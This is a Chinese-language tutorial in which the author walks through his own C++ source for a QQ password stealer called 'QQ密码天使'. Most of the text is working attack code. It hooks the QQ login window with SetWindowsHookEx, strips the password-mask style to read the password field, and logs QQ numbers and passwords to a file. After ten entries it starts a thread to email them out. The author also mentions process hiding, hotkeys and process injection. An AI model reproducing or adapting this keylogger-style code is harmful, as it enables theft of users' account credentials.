首行申明一下,写这个程序完全是一时的兴趣,是自己一个阶段学习的总结而已!程序没有发表,毕竟这个程序多多少少有点害人!L只所以叫“密码天使”,嘻嘻,形象撒!让你意想不到会收到这么多ID、密码,自然有点天使的成份了!J这个程序我是很久以前完成的,我没有写文档的经验,漏洞难免,以后加强!嘻嘻~~~~~
程序运行界面如下:
图 一 图 二
本程序具有进程伪隐藏(1.1版可以真隐藏),热键呼出,邮件发送等功能!
程序共有二个部分,Exe,Dll,有了Dll 免不了要用到钩子,由于QQ版本不断提高,所以找QQ窗口要多方面判断!不过对不同的QQ版本有不同的要求,象我下面的判断就仅对有“清除 ...“这种特征的QQ版本有效!(在此感谢titilima的帮助)!当然程序运行后是驻留在内存中的, 我用Timer事件监视QQ窗口!程序部分如下:
HWND g_hQQ; // QQ窗口句柄
void CGetQQWordDlg::OnTimer(UINT nIDEvent)
{
if(!IsWindow(g_hQQ))
{
HWND hSend; // “登陆”子窗口句柄
HWND hNext; // “下一步”子窗口句柄
g_hQQ = NULL;
m_hook.StartHook(NULL);
do
{
g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
hSend = FindWindowEx(g_hQQ, NULL, "Button", "清除 ...");
hNext = FindWindowEx(g_hQQ, NULL, "Button", "下一步(&N) >");
}
while(g_hQQ != NULL && hSend == NULL && hNext == NULL);
if (g_hQQ != NULL ) // 发现了QQ窗口
{
m_hook.StartHook(g_hQQ); // 设置钩子
}
}
}
设好钩子之后,随程序进入Dll看看,有什么好看的嘛(你不去怎么会知道呢?)
各路看官请注意呀!我将设置钩子和关闭钩子作了一个小包装CGetQQHook!面向对象编程这点就是好,让你整体来分析!
BOOL CGetQQHook::StartHook(HWND hQQ)
{
if (hQQ != NULL)
{
shQQ = hQQ; // 改变共享段中shQQ的值
DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);// 得到QQ所在的线程ID
hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, glhInstance, dwThreadID);//
if (hProc)
return TRUE;
}
else
{
StopHook();
}
return FALSE;
}
我用的钩子是WH_CALLWNDPROC,操作系统将消息发送到进程窗口函数之前,消息要先经过钩子过涉滤一下,判断是不是按键消息,如果是,则枚举当前主窗口,找出具有密码和用户特性的子窗口。(找按键ID时动用了spy++)记录下来!OK!是不觉得大功告成了一大半!J
HWND hwd = NULL;// 存临时量
LRESULT WINAPI CallWndProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if (nCode == HC_ACTION)
{
CWPSTRUCT *p = (CWPSTRUCT*)lParam;
HWND hTargetHwnd = shQQ; // 中转句柄
if (p->message == WM_COMMAND )// 捕获命令
{
if ((LOWORD(p->wParam) == 1) || (LOWORD(p->wParam) == 0x00003024))
{
if (hwd == NULL)
{
hwd = shQQ;
::EnumChildWindows(hTargetHwnd, EnumWndProc, 0);
}
if (hwd == shQQ) // 如果是同一窗口
return CallNextHookEx(hProc,nCode,wParam,lParam);
}
}
}
return CallNextHookEx(hProc,nCode,wParam,lParam);
}
在枚举窗口的时候,如果是密码框口,先去掉其密码属性,然后取内容(不然在NT系统下就有麻烦),还有一个很重要的问题,由于发送功能动用了类库,在记录密码到10个之后,调用发送函数会有停滞现象,所以开启了一个线程,减缓这一现象!
BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{
char sWindowClass[256];
CString strWindowClass;
CString strWindowName;
::GetClassName(hwnd, sWindowClass, 256);
strWindowClass.ReleaseBuffer();
strWindowClass = sWindowClass;
ofstream fout;
char cPath[512];
::GetCurrentDirectory(512, cPath);
strcat(cPath, _T("//kk.txt"));// 切记,当前的目录是QQ所在的目录
if (strWindowClass == _T("Edit"))
{
for (int i = 0; i < 10; i++)
{
strWindowName = sWindowName[i];
if (strWindowName.GetLength() == 0)
break;
}
if (i < 10)// 从0到i 的字符数组中已存有数据
{
fout.open(cPath, ios::app);
DWORD style = GetWindowLong(hwnd, GWL_STYLE);
if (style & ES_PASSWORD )
{
long nType;
nType = SendMessage(hwnd, EM_GETPASSWORDCHAR, 0, 0);
PostMessage( hwnd, EM_SETPASSWORDCHAR, 0, 0);
Sleep (100);//停止100毫秒
SendMessage(hwnd, WM_GETTEXT, 256, (LPARAM)sWindowName[i]);
PostMessage(hwnd, EM_SETPASSWORDCHAR, nType, 0);
fout << "密码:";
fout << sWindowName[i] << "/n";
}
else
{
if (((style & ES_READONLY) != ES_READONLY) && (style & WS_VISIBLE) )
{
::SendMessage(hwnd,WM_GETTEXT,256, (LPARAM)sWindowName[i]);
fout << "QQ号码:";
fout << sWindowName[i] << "/t/t";
}
}
fout.close();
}
else
{
for (int k = 0; k < 10; k++)
strcpy(sTemp[k], sWindowName[k]);
memset(sWindowName, 0, 10 * 256);
AfxBeginThread(SendMailUserIdPass, NULL, THREAD_PRIORITY_NORMAL);
::EnumChildWindows(::GetParent(hwnd), EnumWndProc, 0);
}
}
return TRUE;
}
// 全局线程函数
UINT SendMailUserIdPass(LPVOID pParam)
{
SendmyQQInfo(); // 发送你取得的密码、ID
return 0;
}
至此,程序的主要部分已完成!但是当你看我的源码时,你会发现,我在共享数据段里注释了好多,因为我写这个程序的时候在这个地方受到了一些挫折,如果有不太清楚共享数据的朋友,我建议你去看看titilima的大作《‘QQ尾巴病毒’核心技术的实现》,该文形象的说明了数据共享段的一些细节。http://home.nuc.edu.cn/~titilima/readarticle.php?id=23
后来在QQ密码天使V1.1版本中我用的是内存映射,因为我觉得多个DLL与Exe相互共享数据时,我感觉用内存映射传递结构体类型要清楚些!
#pragma data_seg("wenboly")
HHOOK hProc = NULL; // 监视特定消息的钩子
HWND shQQ = NULL; // QQ句柄
char sWindowName[10][256] = {0};
#pragma data_seg()
放在共享段中的数据,是Exe与Dll共享的,对它的改变会影响到所有它出现的地方(有点象静态变量)。
对于邮件发送部分,我引用的是别人的类库,我就不作说明,要是对STL开发有兴趣的,这个类库可是上好的资料!J
另外程序还有对注册表的读、写操作,窗口启动的隐藏,窗口的热键,限于版面,我就不多赘述!另外在1.1版本中我用到了进程注入技术(不是远进程注入),让Exe自生又自灭!
错误难免,望高手止笑!
®Miniking